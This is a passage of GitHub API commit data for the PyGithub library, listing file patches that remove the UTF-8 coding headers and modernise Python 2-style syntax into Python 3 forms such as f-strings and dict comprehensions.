#"},{"sha":"8d3289aeccde1b2eb91e0559539abd1f2bf45b8c","filename":"github/ContentFile.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FContentFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FContentFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FContentFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"9e959d097de554c0923d68216bf7b47a9fa24ac2","filename":"github/Deployment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDeployment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDeployment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FDeployment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"518f0b4a8ed3bcd779eaa06ad07c8777aebd71d5","filename":"github/DeploymentStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDeploymentStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDeploymentStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FDeploymentStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Colby Gallup #"},{"sha":"5c7932eacbd61d53f395f48c8191aa46318a8238","filename":"github/Download.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDownload.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDownload.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FDownload.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f690d802290538cc39ae9d4e14db807e1ba47a57","filename":"github/Event.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"cc07442cae8a3add1bbd667f527be8ddf810a4fc","filename":"github/File.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"88b799a3eea219e600841d4cfff7f01bdd518371","filename":"github/Gist.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGist.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGist.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGist.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"7bf85ec504d271f6db8524b06cdc2b21e7ed7d56","filename":"github/GistComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGistComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f540e154a56e255f5e3489206ae4ca088b477bec","filename":"github/GistFile.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGistFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"5cb9690895e5563ceac5d14fb794c299e9187f20","filename":"github/GistHistoryState.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistHistoryState.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistHistoryState.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGistHistoryState.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"56f7a32283fc9e9df31e46db11fa347626cbfaa8","filename":"github/GitAuthor.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitAuthor.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitAuthor.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitAuthor.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"c93e8c633c7f3d3a4324364425d6c27ac2fc6db9","filename":"github/GitBlob.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitBlob.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitBlob.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitBlob.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"0a7aa6d81521874afa17ca6376ce125251293196","filename":"github/GitCommit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitCommit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitCommit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitCommit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"02eb49af4126829280947ae4c6b9ebbc66e46a33","filename":"github/GitObject.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitObject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitObject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitObject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"69222b7d264a36e592eb033487c028e4f1afcfd3","filename":"github/GitRef.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitRef.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitRef.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitRef.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"31a45edc0d17f80ccc1be8a26e7ba213e1182c54","filename":"github/GitRelease.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitRelease.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitRelease.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitRelease.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2015 Ed Holland #"},{"sha":"7271b55252042ba4d3337da31bedcd35a08671cd","filename":"github/GitReleaseAsset.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitReleaseAsset.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitReleaseAsset.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitReleaseAsset.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Chris McBride #"},{"sha":"eb0bf65d627933bd6131722c2b22b465b8f0c630","filename":"github/GitTag.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTag.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTag.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitTag.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6afc1303a7bfe10f1487dbe39d4e1ae82bd2fdcd","filename":"github/GitTree.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTree.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTree.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitTree.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"9da5e0331434adea65ac8761702c547097e03430","filename":"github/GitTreeElement.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTreeElement.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTreeElement.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitTreeElement.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"cac31f245ebf4f7ba994cfd46122245b193e4e29","filename":"github/GithubApp.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubApp.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubApp.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGithubApp.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Raju Subramanian #"},{"sha":"4708047f708151cb6b4fa19681190925db0614ed","filename":"github/GithubException.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubException.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubException.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGithubException.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3916153e806c51c6f2105897df8b2aabb66a9b25","filename":"github/GithubObject.py","status":"modified","additions":6,"deletions":11,"changes":17,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubObject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubObject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGithubObject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -66,7 +64,7 @@ def value(self):\n )\n \n \n-class GithubObject(object):\n+class GithubObject:\n \"\"\"\n Base class for all classes representing objects returned by the API.\n \"\"\"\n@@ -233,13 +231,10 @@ def _makeDictOfStringsToClassesAttribute(self, klass, value):\n for key, element in value.items()\n ):\n return _ValuedAttribute(\n- dict(\n- (\n- key,\n- klass(self._requester, self._headers, element, completed=False),\n- )\n+ {\n+ key: klass(self._requester, self._headers, element, completed=False)\n for key, element in value.items()\n- )\n+ }\n )\n else:\n return _BadAttribute(value, {str: dict})\n@@ -269,8 +264,8 @@ def format_params(params):\n if isinstance(v, bytes):\n v = v.decode(\"utf-8\")\n if isinstance(v, str):\n- v = '\"{v}\"'.format(v=v)\n- yield u\"{k}={v}\".format(k=k, v=v)\n+ v = f'\"{v}\"'\n+ yield f\"{k}={v}\"\n \n return \"{class_name}({params})\".format(\n class_name=self.__class__.__name__,"},{"sha":"147276a997516ac17b5ec84becefb430774f5b2b","filename":"github/GitignoreTemplate.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitignoreTemplate.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitignoreTemplate.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitignoreTemplate.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"346dc04c82009bf0125a86f003c45815da7fab4a","filename":"github/Hook.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHook.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHook.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FHook.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"44ec8af423c65966669e387b3b04ccb9dd854963","filename":"github/HookDescription.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHookDescription.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHookDescription.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FHookDescription.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"a491ef30bfa0219c44e16f934a2dd440e7166549","filename":"github/HookResponse.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHookResponse.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHookResponse.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FHookResponse.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3289d18716b0b3a46c7dc08b6b497213672b14a3","filename":"github/InputFileContent.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputFileContent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputFileContent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInputFileContent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -31,7 +29,7 @@\n import github.GithubObject\n \n \n-class InputFileContent(object):\n+class InputFileContent:\n \"\"\"\n This class represents InputFileContents\n \"\"\""},{"sha":"b53fd46d9d55dfdc8d8a53b79fad1e1a153ceb71","filename":"github/InputGitAuthor.py","status":"modified","additions":2,"deletions":4,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputGitAuthor.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputGitAuthor.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInputGitAuthor.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -33,7 +31,7 @@\n import github.GithubObject\n \n \n-class InputGitAuthor(object):\n+class InputGitAuthor:\n \"\"\"\n This class represents InputGitAuthors\n \"\"\"\n@@ -56,7 +54,7 @@ def __init__(self, name, email, date=github.GithubObject.NotSet):\n self.__date = date\n \n def __repr__(self):\n- return 'InputGitAuthor(name=\"{}\")'.format(self.__name)\n+ return f'InputGitAuthor(name=\"{self.__name}\")'\n \n @property\n def _identity(self):"},{"sha":"909250c56c746918b4b5daf2060bfcb2697663f7","filename":"github/InputGitTreeElement.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputGitTreeElement.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputGitTreeElement.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInputGitTreeElement.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -31,7 +29,7 @@\n import github.GithubObject\n \n \n-class InputGitTreeElement(object):\n+class InputGitTreeElement:\n \"\"\"\n This class represents InputGitTreeElements\n \"\"\""},{"sha":"5ec7550304c2ef20c84d0256c892691ea006a206","filename":"github/Installation.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInstallation.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInstallation.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInstallation.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Jannis Gebauer #"},{"sha":"06c695f9aedb24a5429bf58a88e37ff1a71c68fe","filename":"github/InstallationAuthorization.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInstallationAuthorization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInstallationAuthorization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInstallationAuthorization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Jannis Gebauer #"},{"sha":"d246dcfb8e1d5aec8c96a9a69afdce430e3f3f6f","filename":"github/Invitation.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInvitation.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInvitation.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInvitation.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Jannis Gebauer #"},{"sha":"078f21828c650ca54a5ef12abb4496bfdf66700d","filename":"github/Issue.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssue.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssue.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FIssue.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Andrew Bettison #"},{"sha":"85162b0dfebd0e1ae6768374817f06ed79462779","filename":"github/IssueComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssueComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssueComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FIssueComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"35456e868651fc0a11115e15978cd6f928d3e020","filename":"github/IssueEvent.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssueEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssueEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FIssueEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b7d73da6f918ecfb6ed7e2b1193c2267962f4e4c","filename":"github/IssuePullRequest.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssuePullRequest.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssuePullRequest.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FIssuePullRequest.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"881ce014d0704727ffecb8975ee8fdd22c2f40a6","filename":"github/Label.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FLabel.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FLabel.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FLabel.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"c604037985b92b5d8515c878b4abc9a5ab50b38a","filename":"github/License.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FLicense.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FLicense.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FLicense.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Wan Liuyang #"},{"sha":"ceac54e0f02acd44eac56f1b468c67c8532898d2","filename":"github/MainClass.py","status":"modified","additions":18,"deletions":20,"changes":38,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMainClass.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMainClass.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FMainClass.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish #\n@@ -90,7 +88,7 @@\n DEFAULT_PER_PAGE = 30\n \n \n-class Github(object):\n+class Github:\n \"\"\"\n This is the main class you instantiate to access the Github API v3. Optional parameters allow different authentication methods.\n 